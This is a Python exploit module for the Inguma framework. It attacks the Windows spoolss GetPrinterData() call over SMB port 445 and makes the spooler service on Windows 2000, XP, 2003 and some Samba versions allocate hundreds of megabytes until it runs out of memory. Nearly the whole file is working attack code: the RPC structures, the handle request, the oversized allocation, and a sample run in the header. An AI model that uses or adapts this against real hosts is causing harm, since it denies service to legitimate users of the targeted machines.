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#!/usr/bin/python
#
# MS Windows spoolss GetPrinterData() Memory Allocation Remote DoS Exploit
#
# Based on an exploit released by h07 <h07@interia.pl>
#
# Copyright (c) 2006, 2007 Joxean Koret
# Copyright (c) 2006 h07 <h07@interia.pl>
#
# MS Windows spoolss GetPrinterData() 0day Memory Allocation Remote DoS Exploit
# Bug discovered by h07 <h07@interia.pl>
# Tested on Windows 2000 SP4 Polish + All Microsoft Security Bulletins
# Example:
#
# C:\>python spoolss_dos.py 192.168.0.2 512
#
# [*] MS Windows GetPrinterData() 0day Memory Allocation Remote DoS Exploit
# [*] Coded by h07 <h07@interia.pl>
# [*] Connecting to 192.168.0.2:445
# [+] Connected
# [+] The NETBIOS connection with the remote host timed out.
# [+] 192.168.0.2: Out of memory
# [+] Done
#
# Exploit --> GetPrinterData(handle, value, 1024 * 1024 * 512) --> MS_Windows
# Spooler service(spoolsv.exe) memory usage: 512 MB
#
from impacket.structure import Structure
from impacket.nmb import NetBIOSTimeout
from impacket.dcerpc import transport
from impacket import uuid
from struct import pack
from sys import argv
from lib.libexploit import CIngumaModule
name = "spoolssdos"
brief_description = "MS Windows spoolss GetPrinterData Mem. Allocation DoS"
type = "exploit"
discoverer = "h07 <h07@interia.pl>"
author = "Joxean Koret <joxeankoret@yahoo.es>"
affects = ["MS Windows 2000 SP4", "MS Windows XP SP2",
"MS Windows 2003 SP1", "Samba 3.0.14a-6 Debian Sarge 3.1"]
description = """
All current Microsoft Windows and Samba -at least- version 3.0.14a-6 distributed with Debian Sarge 3.1
implementations of the CIFS protocol suffers from a remote denial of service which can be used to
deny service to legitimated users."""
patch = "No patch at the moment"
category = "dos"
class B1(Structure):
alignment = 4
structure = (
('id', '<L'),
('max', '<L'),
('offset', '<L=0'),
('actual', '<L'),
('str', '%s'),
)
class B2(Structure):
alignment = 4
structure = (
('max', '<L'),
('offset', '<L=0'),
('actual', '<L'),
('str', '%s'),
)
class OpenPrinterEx(Structure):
alignment = 4
opnum = 69
structure = (
('printer', ':', B1),
('null', '<L=0'),
('str', '<L=0'),
('null2', '<L=0'),
('access', '<L=0'),
('level', '<L=1'),
('id1', '<L=1'),
('level2', '<L=10941724'),
('size', '<L=28'),
('id2', '<L=0x42424242'),
('id3', '<L=0x43434343'),
('build', '<L=2600'),
('major', '<L=3'),
('minor', '<L=0'),
('processor', '<L=0xFFFFFFFF'),
('client', ':', B2),
('user', ':', B2),
)
class GetPrinterData(Structure):
alignment = 4
opnum = 26
structure = (
('handle', '%s'),
('value', ':', B2),
('offered', '<L'),
)
class CGetPrinterDataDos(CIngumaModule):
target = ""
waitTime = 0
timeout = 1
exploitType = 2
results = {}
memorySize = 1024
wizard = False
def run(self):
print
print "Trying to exploit ..."
print
MB = 1024 * 1024
host = self.target
if self.wizard:
res = raw_input("Memory size [1024]: ")
if res != "":
self.memorySize = int(res)
memory_size = MB * self.memorySize
interface = ('spoolss', '12345678-1234-abcd-ef00-0123456789ab', '1.0')
stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
stringbinding %= {
'host': host,
'pipe': interface[0],
}
trans = transport.DCERPCTransportFactory(stringbinding)
print "[*] Connecting to %s:445" % (host)
try:
trans.connect()
except:
print "[-] Connect failed"
return False
print "[+] Connected"
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2])))
query = OpenPrinterEx()
printer = "\\\\%s\x00" % (host)
query['printer'] = B1()
query['printer']['id'] = 0x41414141
query['printer']['max'] = len(printer)
query['printer']['actual'] = len(printer)
query['printer']['str'] = printer.encode('utf_16_le')
client = "\\\\h07\x00"
query['client'] = B2()
query['client']['max'] = len(client)
query['client']['actual'] = len(client)
query['client']['str'] = client.encode('utf_16_le')
user = "h07\x00"
query['user'] = B2()
query['user']['max'] = len(user)
query['user']['actual'] = len(user)
query['user']['str'] = user.encode('utf_16_le')
dce.call(query.opnum, query)
raw = dce.recv()
handle = raw[:20]
if(handle == ("\x00" * 20)):
print "[-] ERR: OpenPrinterEx()"
if(raw[20:] == "\x09\x07\x00\x00"):
print "[-] Return code: Invalid printer name (0x00000709)"
if(raw[20:] == "\x05\x00\x00\x00"):
print "[-] Return code: Access denied (0x00000005)"
return False
query = GetPrinterData()
value = "blah_blah\x00"
query['handle'] = handle
query['value'] = B2()
query['value']['max'] = len(value)
query['value']['actual'] = len(value)
query['value']['str'] = value.encode('utf_16_le')
query['offered'] = memory_size
dce.call(query.opnum, query)
try:
raw = dce.recv()
status = raw[:4]
r_size = raw[4:8]
if(status == "\x1b\x00\x00\x1c"):
print "[-] Memory allocation error, out of memory"
return True
if(r_size == pack("<L", memory_size)):
print "[+] Memory allocated!"
except NetBIOSTimeout, err:
print "[+] %s" % (err)
print "[+] %s: Out of memory" % (host)
print "[+] Done"
return True
def printSummary(self):
pass
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